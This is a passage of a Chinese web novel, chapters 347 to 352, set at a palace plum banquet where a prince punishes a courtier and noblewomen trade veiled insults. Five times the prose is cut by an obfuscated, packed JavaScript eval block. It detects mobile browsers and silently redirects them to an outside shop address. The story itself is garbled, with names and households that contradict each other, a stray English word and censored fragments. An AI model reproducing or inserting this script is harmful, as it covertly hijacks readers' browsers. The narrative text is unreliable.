“都是你……” 她咬牙切齿,正要发作,却听得身后传来一个冷如寒冰的声音: “宫中斗殴,本王可以既往不咎。但你辱及本王,又当如何?” 众人心头一凛,只见童玄珏不知何时已立于一株火红的枫树之下。 那如火的颜色,映衬着他冷峻的面容,更显出几分肃杀之气。 他冷冷地看着莫峥,眼神如同在看一个死物。 童玄珏一出现,周遭的空气都仿佛凝结成了冰。 所有人都下意识地屏住了呼吸,生怕发出一点声音。 莫峥更是吓得三魂七魄都飞了一半,脸色惨白如纸,浑身抖若筛糠: “殿……殿下……饶命……这……这都是误会……” “误会?”童玄珏嗤笑一声,连眼角都懒得瞥他一下,“本王没兴趣听你狡辩。来人。” “属下在!” “此人污言秽语,不堪入耳。拖下去,杖责二十,以儆效尤。” “殿下饶命!殿下饶命啊!”莫峥的哀嚎声撕心裂肺,却无人敢替他求情。 两名侍卫上前,一左一右架起莫峥,不由分说地拖了下去。 莫峥拼命挣扎,却根本无力反抗。 他绝望地看向人群中那些平日里与他勾肩搭背的“好兄弟”,眼中满是怨毒和不甘。 那些个纨绔子弟,一个个吓得面无人色,恨不得找个地缝钻进去。 他们心里都快把那告密的祖宗十八代都骂遍了。 到底是哪个天杀的,把这些话传到了江阎王耳朵里? 要是让他们知道了,非得把他大卸八块不可! 这群人,你看看我,我看看你,除了自己,个个都像是那通风报信的内鬼。 可恨的是,当时人多嘴杂,谁也没留心童玄珏是何时出现的,更没人知道是谁走漏了风声。 真是人在家中坐,祸从天上来! 而此刻,童玄珏心中却是一片冷然。 告密? 他江阎王还需要别人告密? 在这宫里,有的是他的耳目。 今日赏梅宴,他的人,又怎会不盯着点? 莫峥那些污言秽语,早就一字不差地传到了他的耳朵里。 原本,他手底下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656837|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人也不会闲到连这种鸡毛蒜皮的小事都来禀报。 毕竟,谁还没张嘴?谁还没点牢骚?真要追究起来,这满京城的人,有一个算一个,都得拉出去砍了。 但,旁人怎么说他,他可以不在乎。 可这些人,千不该万不该,把主意打到了晏清澜身上! 他童玄珏可以不要这张脸,但他的女人,谁都别想动!“呵,主辱臣死?” 晏清澜听着身后传来的喧嚣,嘴角微微上扬,勾勒出一个难以捉摸的弧度。 童玄珏的那些个手下,倒是把这四个字给演活了。 不过,这戏是不是有点过头了? 她眼角的余光瞥向身旁一言不发的童玄珏。 平日里看着吊儿郎当的一个人,关键时刻,还挺知道护犊子。 只是…… 晏清澜秀眉微蹙。 她可不需要这份“护犊子”。 莫峥那群人被罚,自然不止莫峥一个。 但凡是参与了口嗨的,一个都跑不了,全被童玄珏让人给“请”去领鞭子了。 还美其名曰:大礼包。 这礼包送给谁的, 晏清澜心里清楚得很。 童玄珏这人, 怎么说呢? 刚认识的时候,像个游手好闲的二世祖。 再一接触…… 更像了。 整个一个披着人皮的黑芝麻汤圆,没干过几件人事。 可偏偏,这人脾气又出奇的好。 至少,晏清澜是这么认为的。 就凭莫峥之前说的那些混账话, 换做别人,早就被喷得体无完肤了。 可童玄珏呢? 跟个没事人似的,连个多余的眼神都没给。 仿佛那些污言秽语,不过是几声狗叫,不值一提。 这样的人,会因为几句口角就大动干戈? 晏清澜是不信的。 除非…… 这里面,还牵扯到了她。 想到这里,晏清澜不由得想起莫峥见到她时那副悔不当初、痛哭流涕的样子。 答案已经很明显了。 肯定是那家伙背地里说了她的坏话, 这才惹怒了童玄珏。 晏清澜可不是什么以德报怨的圣母, 更不会对一个辱骂自己的人心存怜悯。 不过…… 晏子晏的反应,倒是让她有些意外。 第三百四十八章 她和庄家,早就已经恩断义绝了。 绝缘书一立,她和晏子晏,就再也没有任何关系。 可他,竟然还会为她出头? 晏清澜眼睑低垂,遮掩住眼底一闪而逝的复杂。 “何必呢……” 她低声自语,像是在嘲笑,又像是在叹息。 真正的晏四小姐,早就已经不在了。 现在的她,不过是个鸠占鹊巢的假货。 他做这些,又有什么意义? 她还有亲人在, 有疼她爱她的哥哥, 她不需要庄家的怜悯。 “娘,咱们走吧。” 晏清澜抬起头,视线扫过不远处的庄家众人, 最后落在了傅清霁的身上。 她伸手挽住傅清霁的胳膊,语气中带着一丝不容置疑。 傅清霁反手握住她的手, 用指腹轻轻拭去她发梢上沾染的落叶。 那双平日里冷若冰霜的眸子, 此刻,竟溢满了温柔和宠溺。 这一幕, 深深刺痛了在场许多人的眼睛。 众人先是看看傅清霁,又看看面色阴沉、尖酸刻薄的钱雅芝, 一下子就明白了晏清澜的选择。 这还用比吗? 一个是威名赫赫、镇守边疆的定远将军; 一个是目光短浅、心狠手辣的内宅妇人。 谁好谁坏,一眼就能看出来。 “哎呦,这是怎么说的……” 闵衣妇人摇着一把绣着并蒂莲的绢扇, 笑吟吟地开口,打破了这令人窒息的沉寂。 她眼神流转,最终落在了钱雅芝的身上, “晏夫人,您这是演的哪一出啊?长乐郡主可是您亲闺女,怎么跟您连个招呼都不打,就跟着旁人走了呢?” “这……这母女关系,也太见外了吧。” 她假意惊讶地用绢扇掩住口唇, 可那眼角眉梢,却分明写满了幸灾乐祸。 “我方才听着,郡主好像还提醒您,让您别动不动就冤枉自己个儿的孩子。看来,您平日里是没少干这种事啊。” 闵衣妇人装出一副“痛心疾首”的模样, 好像她跟钱雅芝是多年的闺中密友一般。 只是那微微上扬的语调, 任谁都能听出其中的嘲讽和戏弄。 钱雅芝被气得脸色发青, 狠狠地瞪了闵衣妇人一眼, 恨不得扑上去把她那张惹人厌的嘴给撕了。 可这闵衣妇人却像没看见似的, 反而变本加厉,继续“劝慰”道: “晏夫人,您平日里对付我们的那些手段,可不能用在孩子身上啊。” “特别是女孩子,更不能随便打骂,不然,这心可就凉透了。” 她幽幽地叹了口气, 眼底的笑意却更浓了。 她说的这些话, 自然都是胡编乱造的。 晏清澜在苏府的遭遇,她压根就不知道。 可眼下看来, 她这番话,倒是误打误撞了。 “这话您可说错了。” 这时,另一位翠衣妇人也加入了进来, 她轻摇着手中的折扇,慢条斯理地说道: “谁说晏夫人是长乐郡主的亲娘了?您怕是忘了,庄家早就跟郡主断绝关系了。” “那绝缘书可是庄家亲自送到衙门盖了章的,您可别随便见着个人就说是郡主的娘,郡主的亲娘,可是定远将军。” 她好像发现自己说漏嘴了,又连忙掩唇,转向钱雅芝 “哎呀,晏夫人,您可千万别误会,我可不是说您是随便什么人,随口一说。” “您向来心胸宽广,肯定不会跟我一般见识的,您说是不是?” 她笑得前仰后合, 那副得意的样子, 真是让人恨得牙痒痒。 钱雅芝感觉胸口一阵气血上涌, 差点没当场吐出一口血来。 她拼命压抑着心中的怒火, 正要开口反击, 却被一个突如其来的声音打断了。 “酆夫人这话可就说得不对了,”说话的是一个身穿淡粉色襦裙的年轻女子,只见她莲步轻移,缓缓走到钱雅芝身边,柔声道:“六妹妹她只是性子直了些,并无恶意,您又何必跟一个小辈计较呢?” 这女子声音婉转,如**出谷, 正是庄家的五小姐,晏玥玥。“玥玥,慎言!” 一声低斥,带着几分长辈的威严,在人群中散开。 晏玥玥一怔,捏着帕子的指尖微微泛白,话音也断在了唇边。 众人循声望去,只见一位身着海棠红织金褙子的妇人,在一众丫鬟婆子的簇拥下,缓缓行来。她步履稳健,身姿挺拔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656838|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,通身的贵气,让人不敢小觑。 来人正是镇北侯府的嫡长女,尤玉。 但凡是见过尤玉的人,都不由得瞪大了眼睛。目光如同粘在了她身上,上上下下地打量,又在尤玉和晏玥玥之间来回逡巡。 今日这赏梅宴,怕是有好戏看了。 汴京贵女圈里,谁人不知,尤玉与这晏玥玥,是出了名的不对付。 以往碍着两家颜面,两人即便有所争执,也多是私底下暗暗较劲。 可如今,在这大庭广众之下,两人狭路相逢,怕是要彻底撕破脸皮了。 尤玉缓步走到晏玥玥面前,唇角微勾,似笑非笑:“庄六妹妹这快人快语的性子,倒是一点儿没变。” 这话,听着像是在替晏玥玥开脱,可细细一品,却分明是在嘲讽她没规矩,不知礼数。 一旁的酆夫人,轻摇着手中的缂丝团扇,眼波流转,落在晏玥玥身上。 她慢悠悠地开口,语气中带着几分轻蔑:“罢了,她这性子,我也不是第一天知道,何必跟她一般见识。” 这话,看似大度,实则更衬得晏玥玥粗鄙不堪。 晏玥玥被两人一唱一和地挤兑,心中恼火。 正欲开口反驳,却听尤玉又道:“玥玥妹妹这玉佩,倒是别致。” 尤玉的目光落在晏玥玥腰间那枚水头极好的玉佩上,语气淡淡的,听不出喜怒。 晏玥玥下意识地抚上玉佩,眼神闪烁,言不由衷道:“姐姐说笑了,不过是些小玩意儿,不值一提。” 这话,她说得轻巧,但在场之人,谁不知道这玉佩的来历? 尤玉唇角笑意加深,意味深长地看了晏玥玥一眼,话锋一转:“哦?我倒是听说,为了寻一块好玉,镇北侯府可是费了不少心思。妹妹这玉佩,当真只是‘小玩意儿’?” 此言一出,众人脸色各异。 谁人不知,镇北侯府为了尤玉的身子,这些年操碎了心。别说寻常玉石,就是价值连城的宝贝,只要对尤玉的身子有益,镇西侯夫妇都会想方设法地弄来。 可如今,镇北侯府求而不得的美玉,却戴在了晏玥玥身上。这岂不是明摆着说,镇北侯府比不上庄家? 晏玥玥自知失言,却已是骑虎难下。她勉强笑了笑,试图挽回颜面:“姐姐误会了,这玉佩……” “想来是令兄交友广阔,才能这般轻易地得到这等宝物吧?”尤玉打断她的话,语气中带着一丝玩味。 第三百四十九章 她微微侧头,看向晏玥玥,眼神清亮:“我兄长常年戍守边关,风餐露宿,自然比不得令兄在京中交游广阔,结交的都是达官显贵。” 这话一出,在场宾客中,心思活络些的,都变了脸色。 尤其是钱雅芝,原本还算平静的脸色,此刻已是阴沉如水。她紧紧攥着手中的帕子,指甲几乎要嵌进肉里,看向尤玉的目光,像是淬了毒的刀子。 “结党营私”这顶帽子,若是扣在别人头上,或许还只是风言风语。可若扣在晏远舟头上,那便是灭顶之灾! 钱雅芝强压下心中的怒火,扯出一抹僵硬的笑容,冷冷道:“秦姑娘多虑了,阿远不过是与同窗交好罢了。同窗情谊,就如同令兄在战场上与袍泽之情,没什么分别。” 她这话说得冠冕堂皇,看似在为晏远舟辩解,实则暗指尤玉挑拨离间,污蔑晏远舟结党营私,用心险恶。 尤玉闻言,只是淡淡一笑,不置可否。她微微颔首,语气轻柔:“晏二公子与酆公子这般情深义重,着实让人羡慕。我兄长与将士们出生入死,情同手足。酆公子能将家传宝玉相赠,足见其对晏二公子用情之深。” 钱雅芝眉头紧锁,心中疑云密布。 尤玉这话,看似在赞扬晏远舟与酆明川的友谊,实则却暗藏玄机。 “家传宝玉”四个字,更是让她心头一惊。 莫非……尤玉是想影射晏远舟与酆明川有断袖之癖? 可这等无稽之谈,谁会相信? 钱雅芝冷哼一声,满脸不屑。她早已为晏远舟物色好了几门亲事,只等时机成熟,便可定下婚约。到时候,这些流言蜚语,自然不攻自破。 因此,她懒得再与尤玉纠缠,只当她是跳梁小丑,博人眼球。 尤玉似乎也无意在此事上多做纠缠,只是唇角始终挂着一抹意味深长的笑意,让人捉摸不透。 晏玥玥的目光在尤玉身上流连,最后落在那头乌黑亮丽的秀发上。 她突然开口,打破了沉默,语气中带着一丝探究:“秦姐姐这头发,养得可真好,乌黑浓密,想必费了不少功夫吧?” 她顿了顿,又状似无意地问道:“这……都是姐姐的真发吧?” 她这话问得突兀,但在场之人都明白她的意思。 大玺朝的女子,为了追求发髻丰盈,多有佩戴假发。 尤玉从前那般稀疏枯黄的发质,即便是戴了假发,也难以掩盖。 是以,晏玥玥才有此一问,且这一问,问得颇为诛心。 尤玉迎着晏玥玥的目光,坦然一笑,语气轻快:“自然都是真发。” 晏玥玥故作惊讶地“呀”了一声,瞪大了眼睛,仿佛听到了什么不可思议的事情:“秦姐姐的头发竟长得这般好了?我记得从前,姐姐因为身子弱,头发也比寻常姑娘稀疏不少……” 她像是突然意识到什么,连忙捂住嘴,娇笑着改口:“瞧我这记性,竟忘了姐姐身子不好这回事。这园子里风大,姐姐身子刚好,可别再着了凉。换个地儿聊,席面上见。” 她言语间,看似关心尤玉,实则句句不离尤玉“身子不好”,无非是想提醒众人,尤玉是个病秧子。 就算如今看着康健了些,也改变不了她体弱多病的事实。 尤玉却像是没听出她话中的机锋,依旧笑意盈盈,顺着她的话道:“妹妹说的是,从前我身子弱,常年卧病在床,如今确实大好了。若非如此,我也没法来参加这赏梅宴,更没法与妹妹在此闲聊。” 晏玥玥被她这话噎了一下,脚步一顿,猛地转过头,目光如炬,紧紧盯着尤玉的脸,似要从她脸上看出些什么端倪来: “当真好全了?”她语气中带着一丝难以置信,“姐姐这病,不是从娘胎里带出来的吗?从前吃了那么多药,看了那么多大夫,都不见效,怎么如今就好了?” 她顿了顿,语气变得尖锐起来:“姐姐可千万要小心,别被那些江湖郎中给骗了!我听说,有些所谓的‘神医’,最喜欢用些虎狼之药,虽然一时见效,实则却是饮鸩止渴,对身体的伤害极大!” 晏玥玥越说越激动,甚至还搬出了一个例子:“我听说,前些年,京郊有户人家的小姐,也是自幼体弱多病,后来寻了个‘神医’,吃了副猛药,人是精神了,可没过多久,就一命呜呼了!” 她看着尤玉,语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16664693|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气中带着一丝幸灾乐祸:“姐姐可千万别步了她的后尘!”尤玉眼波微动,余光扫过晏玥玥,唇角不着痕迹地勾起一抹冷弧。她自然清楚,晏玥玥这番话,看似是在为她担忧,实则句句带刺,恨不得她被庸医所误,直接病死才好。 在座的哪一个不是人精?晏玥玥那点小心思,谁听不出来?一时间,众人看向晏玥玥的眼神,都带上了几分轻视。虽说两人不和已久,但如此恶毒的诅咒,也未免太过了。 尤玉倒是不恼,只是轻轻瞥了晏玥玥一眼,语气淡淡的: “多谢你‘关心’了。不过,我可没碰上什么江湖郎中。能给我看诊的,可是青医圣手。” 她微微一顿,像是想起什么有趣的事情,又补充道: “晏六小姐怕是不知道,我这身子,也不是一天两天就能调理好的,前前后后也治了几个月了。看我现在的状态,还有这头发,” 尤玉说着,指尖轻轻拂过鬓边的秀发,乌黑亮丽,没有一丝病气。 “这种水平可不是普通大夫能比的。” “若青医圣手都算庸医,”尤玉抬眸,目光缓缓扫过众人,带着一丝若有若无的笑意。“那这世上,还有几人敢称‘好大夫’呢?” 她这话一出,那些原本还对尤玉抱有一丝怀疑的人,也都纷纷打消了疑虑。毕竟,青医圣手的名头,可不是白叫的。 晏玥玥被尤玉堵得哑口无言,嘴唇翕动了几下,却没说出话来。 她怎么也没想到,尤玉的病竟然是青医圣手治好的! 青医圣手……整个大晋朝,想请动这位神医的人,没有一千也有八百,可真正能请到的,又有几个? 镇北侯府竟然有这么大的面子! 想到自己方才还在尤玉面前炫耀那块玉佩,晏玥玥只觉得脸上火辣辣的,跟被人当场打脸似的,尴尬又难堪。 偏偏这时,一个娇俏的声音响了起来。 “秦姐姐,那你见过青医圣手吗?是不是像传说中那样,长得特别好看?是男的还是女的?” 说话的是个身穿粉色衣裙的少女,一张圆圆的小脸,一双大眼睛忽闪忽闪的,满是好奇。 第三百五十章 尤玉对晏玥玥以外的人,一向是和气的。她转头看向那粉衣少女,微微一笑,耐心地解释: “实不相瞒,我并未见过青医圣手的真容。她为我诊治的时候,总是戴着一张银色的面具,穿着打扮也瞧不出男女,宽袍大袖的。” “就连说话的声音,”尤玉努力回忆了一下,“也特意压得低低的,让人分辨不出是男是女,有些沙哑。” “哇……”粉衣少女一脸惋惜,“大家都说青医圣手长得极美,跟天仙似的。真可惜,还以为秦姐姐你已经知道真相了。” 粉衣少女的注意力完全被吸引走了,甚至都没注意到晏玥玥越来越难看的脸色。 尤玉摇了摇头:“我确实不曾见过。不过,她的医术是真的好,出神入化。这样的人,容貌如何,倒也不那么重要了。” 她语气一转,“话说回来,也是带着面具,一位是风华绝代的神医,一位却是……” 尤玉没有说下去,但所有人都心知肚明。她在对比青医圣手和燕王。 同样是戴面具,但给人的感觉,却是一个天上,一个地下。 晏玥玥听着这些话,脸色一阵红一阵白。 她当然知道尤玉是在讽刺谁! 她猛地转过头,瞪着尤玉,正要开口反驳,却被尤玉抢先一步打断: “对了,晏六小姐,你不是一直好奇青医圣手的真容吗?你有那么多机会,为什么不让她摘下面具呢?” 尤玉的语气听起来很平静,甚至还带着一丝疑惑。 “你是庄家的小姐,只要你开口,她还能拒绝你不成?” “还是说……”尤玉微微挑眉,“你其实也觉得,强人所难,不太好?” 她这话一出,晏玥玥的脸色更难看了。 她张了张嘴,想解释,却又不知道该说什么。 毕竟,刚才可是她自己亲口说的,让尤玉仗着身份逼青医圣手摘下面具。 现在尤玉这么一问,她要是承认了,不就等于承认自己仗势欺人了吗? 可要是不承认……那不就等于承认自己刚才说的话都是放屁吗? 晏玥玥进退两难,一张俏脸涨得通红,看起来比哭还难看。 就在这时,人群中突然传来一阵骚动。 “快看,那边是谁来了?” “好像是……庄家的人?” “咦,那不是晏六小姐吗?她怎么在那儿?” 众人的目光,纷纷朝着一个方向望去。 尤玉也顺着众人的目光看去,只见一行人正朝着这边走来,为首的,正是晏清澜和宋溪溪。 而晏玥玥,正站在她们身后不远处,一脸的尴尬和难堪。 晏玥玥见晏清澜来了,连忙提着裙摆,快步走了过去,脸上堆满了笑容,亲亲热**喊了一声: “四姐姐!” 她快速打量了晏清澜一眼。 今日的晏清澜,穿的只是一件很普通的衣裙,头上也只戴了几支简单的珠钗。 可她偏偏生了一张艳绝人寰的脸。就算穿得再朴素,也掩盖不了她的光芒,依旧美得让人移不开眼。 晏玥玥心中嫉妒,面上却笑得更甜了。她故意看了尤玉一眼,然后对晏清澜说道: “四姐姐,你今天真漂亮,比那位秦姐姐还要好看呢!” 她这话,明显是在挑拨离间。 没有哪个女人喜欢被人说不如别人,尤其是在这种场合下。 晏玥玥就不信,尤玉能忍得住! 谁知,晏清澜只是冷冷地看了她一眼,连眼皮都没抬一下,更别提搭理她了。 倒是宋溪溪,直接翻了个白眼,毫不客气地怼了回去: “我说庄六,你是不是脑子有病啊?一大早的,跑这儿来犯什么贱?” 她这话一出,周围顿时响起了一片窃笑声。 晏玥玥脸色一白,眼泪一下子就涌了上来。 她委屈巴巴地看着晏清澜,声音里带着哭腔: “四姐姐,我只是想夸你漂亮,你怎么能这么说我呢……” 晏清澜依旧没有理她,只是淡淡地瞥了她一眼,那眼神,就像是在看一个跳梁小丑。 “我说庄六,你是不是有被害妄想症啊?谁说你了?你哪只耳朵听见我们说你了?”宋溪溪双手抱胸,冷笑一声。 “四姐姐,我……”晏玥玥还想解释,却被宋溪溪不耐烦地打断: “行了行了,别在这儿丢人现眼了!赶紧滚回你的座位上去!” “你……”晏玥玥气得浑身发抖,却又不敢跟宋溪溪顶嘴。 她只能把求助的目光投向晏清澜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16664694|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,希望晏清澜能帮她说句话。 谁知,晏清澜却像是没看见她似的,直接转过身,跟宋溪溪一起走开了。 晏玥玥站在原地,走也不是,留也不是,尴尬得恨不得找个地缝钻进去。 就在这时,一个男人的声音响了起来: “阿清,你怎么能这么对玥玥?她可是你妹妹!” 说话的,是庄家三公子晏雨珩。他皱着眉头,看向晏清澜的目光中充满了不赞同。 他刚刚走过来,正好听到了宋溪溪和晏玥玥的对话。 在他看来,宋溪溪实在是太过分了,晏清澜也太冷漠了。 不管怎么说,晏玥玥都是她们的妹妹,她们怎么能这样欺负她呢? “三哥,你……”晏玥玥看到晏雨珩,像是看到了救星,连忙跑了过去,拉着晏雨珩的袖子,哭得更伤心了。 “三哥,你可要为我做主啊……” “玥玥别哭,有三哥在呢。”晏雨珩安慰了她几句,然后转过头,看向晏清澜,语气严厉地说道: “阿清,你赶紧给玥玥道歉!” 他这话一出,周围的人都愣住了。 大家没想到,晏雨珩竟然会这么不给晏清澜面子,当众让她给晏玥玥道歉。 这也太过分了吧! 宋溪溪更是气得直接跳了起来,指着晏雨珩的鼻子骂道: “姓庄的,你是不是有病啊?你哪只眼睛看见我姐姐欺负她了?明明是她自己……” “厉姑娘慎言!” 一个清冷的声音打断了宋溪溪的话。 众人循声望去,只见一个身穿浅蓝色衣裙的女子,正站在晏玥玥身边,面带微笑地看着他们。 是尤玉。 她缓缓开口,语气平静,却带着一丝不容置疑的威严: “晏六小姐方才称呼郡主为‘四姐姐’,这好像不太合适啊?” “据我所知,郡主早就跟庄家撕破脸了,不再是庄家的人了。晏六小姐这一声‘四姐姐’,叫得未免有些……不合规矩。” 尤玉的声音不大,却清晰地传进了每一个人的耳朵里。尤玉脸上瞧不出丝毫恶意,一双杏眼睁得大大的,满满的都是不解与困惑。 可偏偏是她这副无辜模样,让在场的庄家人脸色“唰”的一下全变了。 第三百五十一章 晏玥玥猛地扭过头,死死盯着尤玉,眼底的怒火几乎要喷薄而出: “你、你什么意思?” 话音未落,她已经下意识地攥紧了手里的丝帕,指节因为用力而微微泛白。 尤玉朱唇轻启,像是没料到她会有这么大反应,原本就大的眼睛睁得更圆了。她身子微微朝后一仰,才带着几分无奈开口,声音柔柔的,像是姐姐在规劝不懂事的妹妹: “我的好妹妹,平日里怎么和你说的?遇事要冷静,切莫急躁。你瞧瞧你,又来了不是?” 她顿了顿,微微偏着头,语气愈发轻柔,却带着不容置疑的意味: “如今谁人不知,郡主与苏府已无瓜葛?你再这般‘四姐姐’、‘四姐姐’地叫着,岂不是坏了规矩?让人听了去,还以为苏府故意落郡主的面子呢。” 她眼神扫过面色铁青的庄家人,语气更重了几分: “还有,日后万不可再说让郡主让着你的话。这话要是传到有心人耳中,再添油加醋一番,怕是要给苏府惹来灭顶之灾!” 晏清澜是景元帝亲封的长乐郡主,金尊玉贵。 晏雨珩算哪根葱,敢让她让着晏玥玥? 晏玥玥又是个什么东西?她凭什么让天子亲封的郡主处处让着她? 往小了说,这是庄家不知礼数,目无尊卑,丢人现眼。 往大了说,苏府的人不敬郡主,便是不敬圣上,不敬皇室! 若是再有人推波助澜,安上个“恃宠生骄,意图不轨”的罪名,庄家上下,有一个算一个,全都得人头落地! 尤玉这番话,看似轻飘飘的,实则字字如刀,刀刀见血。 明着是劝诫晏玥玥,实则是在敲打庄家,警告他们不要痴心妄想。 原本还算融洽的气氛,瞬间降至冰点。 众人看向晏玥玥的眼神,或鄙夷,或不屑,或幸灾乐祸,但更多的,还是忌惮。 他们不约而同地往旁边挪了挪,跟庄家划清界限,心里暗自佩服尤玉的手段。 这话说得,可真是滴水不漏,**不见血啊! 晏雨珩简直要被气笑了。 他不过是想借着这个机会,让晏清澜明白,庄家的大门永远为她敞开,怎么到了尤玉这儿,就成了庄家别有用心,甚至还扯上了谋逆? 他虽是男子,可后宅妇人之间的弯弯绕绕,他也不是全然不知。 只是,他总不能当着这么多人的面,和一个小姑娘争辩不休吧? 传出去,他的脸面还要不要了? 无奈之下,晏雨珩只能将希望寄托在晏清澜身上,期盼着这个曾经的四妹妹能开口说几句公道话,替庄家解围。 可晏清澜只是冷冷地瞥了他一眼,嘴角勾起一抹嘲讽的弧度,仿佛在看一个跳梁小丑。 都到了这个地步,晏雨珩竟然还指望她替庄家说话? 他是真傻还是装傻? 他难道真的以为,自己还是当初那个任他们欺凌、打骂,却毫无怨言的庄家四姑娘吗? 简直愚蠢至极! 晏清澜甚至懒得再看他一眼,只是朝尤玉微微颔首,示意她做得很好。 随后,她便拉着宋溪溪一同坐下,慢条斯理地端起茶盏,轻轻吹了吹,小口啜饮起来,完全无视了脸色一阵红一阵白的晏雨珩。 晏雨珩只觉得一股寒意从脚底直窜头顶,浑身上下都僵硬了。 他想起那些肆意欺辱晏清澜的过往,想起那些冷漠无情的话语,想起那些自以为是的“为她好”…… 如今看来,桩桩件件,都像是一记记响亮的耳光,狠狠地抽在他的脸上,火辣辣的疼。 就算他们之前确实做错了,可、可如今他们已经知错了啊! 她为什么还要这般冷漠,这般绝情? 晏雨珩不得不承认,当初庄家与晏清澜断绝关系,确实是一步臭棋。 可是,那也是形势所迫,不得已而为之啊! 谁又能预料到,晏清澜竟然会救了圣上? 庄家有错,错在没有事先和晏清澜商量,便擅自做了决定。 在那个特殊时期,除了牺牲晏清澜,保全整个庄家,还能有什么更好的办法? 陆家可以为了晏清澜不顾一切,这都是因为陆家掌控着军队大权,是大玺朝的顶梁柱,无人敢惹。 而苏府呢?不过是仰仗澜王府鼻息生存的一株菟丝花罢了,一荣俱荣,一损俱损。 晏雨珩怔怔地望着晏清澜,眼睁睁看着她温柔地为宋溪溪夹了一块精致的糕点,又瞧见傅清霁自然而然地替她整理了一下slightly有些歪斜的披风。 那一刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16671388|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,晏雨珩只觉得心口像是被一只无形的大手狠狠地攥紧,压得他喘不过气来。 他突然意识到,自己或许真的失去了这个妹妹。 他曾经以为,无论他们做了什么,晏清澜都会原谅他们,都会回到他们身边。 可现在看来,一切都只是他的一厢情愿罢了。 一股巨大的恐慌,如海啸般席卷而来,将他彻底淹没。 晏雨珩的眼神剧烈地颤抖着,浓重的悲伤和悔恨,再也无法掩饰。 钱雅芝将晏雨珩的神情变化尽收眼底,眉头不由得紧紧皱起。 她最见不得晏雨珩这副为了晏清澜那个小**要死要活的样子! 钱雅芝暗中咬了咬牙,目光一转,落在了身旁默不作声的晏清萦身上。 她原本是想利用今日的赏梅宴,让晏清萦这个贱婢在众人面前出丑,最好是能惹怒晏清澜,借晏清澜的手除掉她。 没想到,这贱婢倒是学聪明了,竟然敢阳奉阴违! 不过,钱雅芝眼中闪过一丝阴狠,晏清萦以为这样就能逃过一劫吗? 天真! 她既然敢把这贱婢带进宫,自然就有办法让她生不如死! 至于赵家那边……哼,钱玉明那个废物,落得个**的下场,也是他活该! 要怪,就怪他自己没本事,连个女人都搞不定! 赵家若是识相,就乖乖地把银子奉上,继续替庄家办事。 若是不识相……钱雅芝冷笑一声,她有的是办法让赵家后悔! 晏清萦感受到钱雅芝那如芒刺在背的目光,身体控制不住地颤抖起来。 她知道,钱雅芝这是在警告她,若是她再敢耍花样,下场一定会比死还惨! 晏清萦紧紧闭上眼睛,指甲深深地掐入手心,几乎要掐出血来。 恐惧、绝望、不甘……种种情绪交织在一起,几乎要将她吞噬。 可她又能怎么办呢? 她不过是钱雅芝手中的一颗棋子,一颗随时都可以被舍弃的棋子罢了。 钱雅芝的目光越来越冷,越来越阴鸷,像淬了毒的刀子,一下一下地凌迟着晏清萦。 晏清萦再也承受不住这巨大的压力,她猛地睁开眼睛,颤抖着站起身来,手里端着一杯早已斟满的酒,缓缓地朝晏清澜走去。 第三百五十二章 她每走一步,都像是踩在刀尖上一般,每一步,都用尽了全身的力气。 晏清萦身形单薄,脸色苍白,单薄的身子摇摇欲坠。 她低着头,声音细如蚊蚋: “郡主,以往是妙菱不懂事,多有冒犯,还请郡主恕罪。” 